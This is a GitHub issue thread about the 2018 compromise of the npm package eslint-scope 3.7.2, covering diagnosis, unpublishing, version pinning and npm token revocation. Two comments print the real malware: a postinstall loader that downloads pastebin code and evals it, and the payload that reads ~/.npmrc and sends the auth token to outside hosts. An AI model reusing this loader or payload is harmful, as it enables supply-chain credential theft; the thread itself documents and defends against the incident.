Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Virus in eslint-scope? #39

Closed
pronebird opened this issue Jul 12, 2018 · 92 comments
Closed

Virus in eslint-scope? #39

pronebird opened this issue Jul 12, 2018 · 92 comments
Labels

Comments

@pronebird
Copy link

@pronebird pronebird commented Jul 12, 2018

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened:
#39 (comment)

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See eslint/eslint#10600 for more information.

In the meantime

  1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json
  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

  1. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

  2. Revoke your NPM token as suggested in the comment below #39 (comment). You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

@eslint eslint bot added the triage label Jul 12, 2018
@buhichan
Copy link

@buhichan buhichan commented Jul 12, 2018

+1
what the heck is going on

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

Thanks for the issue!

Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).

I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.

Thanks again for bringing this to our attention.

@pronebird
Copy link
Author

@pronebird pronebird commented Jul 12, 2018

Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.

@pronebird
Copy link
Author

@pronebird pronebird commented Jul 12, 2018

babel-eslint depends on ~3.7.1 which immediately makes it pull the vulnerable 3.7.2

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.

@pronebird
Copy link
Author

@pronebird pronebird commented Jul 12, 2018

I pinged babel-eslint team to update to 4.0.0 or alternatively they can fix the version in package.json. Meanwhile I've pinned the version to 3.7.1 in my package.json.

"resolutions": {
  "eslint-scope": "3.7.1"
}

The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions seem to do the trick.

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

I've sent a message to npm's support asking for help in identifying what happened.

I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.

In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!

@aSapien
Copy link

@aSapien aSapien commented Jul 12, 2018

Is it possible to publish a clean 3.7.3 version to avoid infecting projects that are configured to auto-bump minor semvers?

@yvele
Copy link

@yvele yvele commented Jul 12, 2018

Hey I have a strange behaviour with eslint-scope@3.7.2 postinstall, I cannot install it

> eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
> node ./lib/build.js

undefined:25
    https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
                                                                                                                        ^^^^^

SyntaxError: Unexpected end of input
@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

@aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.

Thanks for your patience!

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

@yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!

@yvele
Copy link

@yvele yvele commented Jul 12, 2018

@platinumazure yep I've seen that but I'm using babel-eslint... an issue is already open babel/babel-eslint#656

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

@yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1 to force that version to be used by babel-eslint. Hope this helps.

@byCedric
Copy link

@byCedric byCedric commented Jul 12, 2018

Is it possible to "republish" 3.7.1 as 3.7.3 so all of the automated processes will use the uncompromised version? Seems like a good idea until this is sorted out.

Nvm, @aSapien already suggested this. Sorry, was stressing a bit because of this!

@yvele
Copy link

@yvele yvele commented Jul 12, 2018

Basically what's are the effets of the infected package?

This is a hacked version which steals the npm credentials and sends them to remote server.

@pronebird Please update the issue first post with the effet and advise people to immediately change their npm tokens

@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

@manjotnms
Copy link

@manjotnms manjotnms commented Jul 12, 2018

Is this problem specific to Linux environment? I am able to install in windows without any problem

eslint-scope@3.7.2 postinstall D:\xx\xxx\node_modules\eslint-scope
node ./lib/build.js

@byCedric
Copy link

@byCedric byCedric commented Jul 12, 2018

@manjotnms, please renew your NPM credentials. Installing it successfully means that the attacker's script also successfully finished. In our Linux CI environment it failed luckily, but that doesn't mean it's safe...

@selbekk
Copy link

@selbekk selbekk commented Jul 12, 2018

The pastebin in question has been removed / emptied out now.

For later reference - this is what was contained in said pastebin:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
 
if (fs.existsSync(npmrc)){
     
      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
    }
}catch(e){}

As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.

Anyhow, it's removed now, so any new projects won't be contaminated (edit: at least until somebody re-adds the code)

@manjotnms
Copy link

@manjotnms manjotnms commented Jul 12, 2018

@byCedric : I am using eslint 4.7.2, which has a dependency on eslint-scope 3.7.2. I suppose in this case eslint has to renew its NPM credentials.

@byCedric
Copy link

@byCedric byCedric commented Jul 12, 2018

@manjotnms, yes exactly, I would recommend you do the same 😄

@TimvanScherpenzeel
Copy link

@TimvanScherpenzeel TimvanScherpenzeel commented Jul 12, 2018

Make sure to change your password and enable 2FA.

Check your current token in ~/.npmrc.

Log into npm using npm login

Revoke the token using npm token delete
https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens

@pronebird
Copy link
Author

@pronebird pronebird commented Jul 12, 2018

@yvele I've updated the issue with some suggestions on how to circumvent the update to the malicious 3.7.2 and how to revoke the npm account token (comment by @TimvanScherpenzeel )

@rufushonour
Copy link

@rufushonour rufushonour commented Jul 12, 2018

Looks like its been unpublished :)

@cusspvz
Copy link

@cusspvz cusspvz commented Jul 12, 2018

Solved in about 1h... You guys must wear capes. <3

SamGodwin2 pushed a commit to ONSdigital/eq-author that referenced this issue Jul 12, 2018
SamGodwin2
SamGodwin2 pushed a commit to ONSdigital/eq-author-api that referenced this issue Jul 12, 2018
SamGodwin2
SamGodwin2 pushed a commit to ONSdigital/eq-publisher that referenced this issue Jul 12, 2018
SamGodwin2
@ArcanisCz
Copy link

@ArcanisCz ArcanisCz commented Jul 12, 2018

@Mikotochan

The other ridiculous thing with npm is that you can have different source in your git repo and ship a totally different code via npm.

You can in Maven too. And you can even compile different C++ executable than you put in your git. Thats is the reason, we use signatures to verify integrity and why reproducible build/compile matters.

@x3ro
Copy link

@x3ro x3ro commented Jul 12, 2018

For anyone curious about the signing situation, the NPM maintainers actively rejected package signing in 2015.

@shaunwarman
Copy link

@shaunwarman shaunwarman commented Jul 12, 2018

npm token revoke <token>

@paulirwin
Copy link

@paulirwin paulirwin commented Jul 12, 2018

Some of the comments on here re: package signing are combative, unproductive, and off-topic. If you have concerns about npm's approach to package management, please share them at https://github.com/npm/npm/issues

@kelset
Copy link

@kelset kelset commented Jul 12, 2018

I suggest that maintainers lock this issue so that they only will be able to post and update those subscribed to the issue.

@nevir
Copy link

@nevir nevir commented Jul 12, 2018

Do we think this is confined to eslint-scope, or should we be concerned about most packages under the eslint umbrella?

@eslint eslint bot locked and limited conversation to collaborators Jul 12, 2018
@hzoo
Copy link
Member

@hzoo hzoo commented Jul 12, 2018

@paulirwin, @kelset, yep I have access so did it now. Because there's a lot of sources linking to this issue, we want to keep noise to the minimum, and promise that we will update the thread with more information as we get it.

@kaicataldo kaicataldo closed this Jul 12, 2018
@ilyavolodin
Copy link
Member

@ilyavolodin ilyavolodin commented Jul 12, 2018

Update: We went through every package under ESLint organization and verified that the only package that was published with this issue was eslint-scope.

Edit: It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

@kaicataldo kaicataldo reopened this Jul 12, 2018
@kaicataldo
Copy link
Member

@kaicataldo kaicataldo commented Jul 12, 2018

Sorry - I didn't mean to close this!

@kaicataldo kaicataldo added bug and removed triage labels Jul 12, 2018
@kaicataldo
Copy link
Member

@kaicataldo kaicataldo commented Jul 12, 2018

It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

@aladdin-add
Copy link
Member

@aladdin-add aladdin-add commented Jul 12, 2018

Scanning script to find infected @3.7.2 installations: https://gist.github.com/brownstein/8aaade4953807f512d416da0c6a5a5f6

(refs: #40 thanks @brownstein)

@kaicataldo
Copy link
Member

@kaicataldo kaicataldo commented Jul 12, 2018

@kaicataldo kaicataldo added security and removed bug labels Jul 12, 2018
@platinumazure
Copy link
Member

@platinumazure platinumazure commented Jul 12, 2018

We're working on publishing eslint-scope@3.7.3 and eslint-config-eslint@5.0.3. Apologies for the confusion as earlier I had suggested we might not publish new patch versions.

Edit: Decision was made not to publish a new eslint-config-eslint due to much reduced usage and much smaller time vector.

@not-an-aardvark
Copy link
Member

@not-an-aardvark not-an-aardvark commented Jul 12, 2018

eslint-scope@3.7.3 has been published to npm. Aside from the version number, this is exactly the same package as eslint-scope@3.7.1. This should allow users with an npm proxy who already have 3.7.2 cached to avoid downloading the malicious version when specifying a version range like ~3.7.

btmills added a commit to eslint/website that referenced this issue Jul 12, 2018
@kaicataldo
Copy link
Member

@kaicataldo kaicataldo commented Jul 12, 2018

This has now been resolved. Please find a write up of the incident on our blog.

The ESLint team apologizes for allowing this to happen. Thanks to the community for making us aware of the issue so quickly and for providing information.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
You can’t perform that action at this time.